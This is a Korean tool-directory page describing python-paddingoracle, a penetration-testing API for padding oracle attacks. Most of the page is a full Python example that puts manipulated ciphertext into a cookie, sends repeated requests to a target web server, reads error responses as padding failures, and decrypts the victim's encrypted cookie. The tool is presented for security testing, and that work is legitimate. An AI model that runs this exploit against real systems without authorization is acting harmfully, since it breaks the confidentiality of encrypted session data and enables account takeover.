Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
python-paddingoracle — 휴대용 패딩 오라클 익스플로잇 API | Kitploit
도구/GitHubGitHub/mwielgoszewski/python-paddingoracle
Encryption/Decryption ToolsExploitationWeb Application ExploitationCryptographyPenetration Testing
GitHubmwielgoszewski/python-paddingoracle

python-paddingoracle

휴대용 패딩 오라클 익스플로잇 API

저장소 보기
3317323년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

python-paddingoracle: 이식 가능한 패딩 오라클 익스플로잇 API

PYTHON 3용으로 업데이트됨

python-paddingoracle는 PadBuster_ 및 다른 패딩 오라클 익스플로잇 도구에 대한 맞춤형 대안을 침투 테스터에게 제공하는 API입니다. 이러한 도구들은 대규모 재작성 없이는 고유한 애플리케이션별 시나리오에서 쉽게 사용할 수 없습니다. 비 HTTP 애플리케이션, 원시 소켓, 클라이언트 애플리케이션, 고유 인코딩 등을 생각해 보세요.

사용법:

paddingoracle API를 사용하려면 PaddingOracle API의 oracle() 메서드를 구현하고, 복호화기가 패딩 오라클을 감지하면 BadPaddingException을 발생시키기만 하면 됩니다. 데이터를 복호화하려면 암호화된 원시 바이트를 블록 크기(일반적으로 8 또는 16) 및 선택적 iv 매개변수와 함께 **decrypt()**에 전달하십시오.

아래에서 예제(the example_ 참조)를 확인하세요: ::

root@kitploit:~
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib.parse import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = quote(b64encode(data))
        self.session.cookies['somecookie'] = somecookie

        while 1:
            try:
                response = self.session.get('http://www.example.com/',
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)

        if response.ok:
            logging.debug('No padding exception raised on %r', somecookie)
            return

        # An HTTP 500 error was returned, likely due to incorrect padding
        raise BadPaddingException

if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[1:]:
        print('Usage: %s <somecookie value>' % (sys.argv[0], ))
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)

    encrypted_cookie = b64decode(unquote(sys.argv[1]))

    padbuster = PadBuster()

    cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))

    print('Decrypted somecookie: %s => %r' % (sys.argv[1], cookie))

크레딧

python-paddingoracle는 PadBuster_를 크게 기반으로 한 Python 구현입니다. PadBuster_는 Gotham Digital Science의 Brian Holyfield가 개발한 패딩 오라클 공격을 수행하는 자동화 스크립트입니다.

.. _the example: https://github.com/mwielgoszewski/python-paddingoracle/blob/master/example.py .. _PadBuster: https://github.com/GDSSecurity/PadBuster

도구 다운로드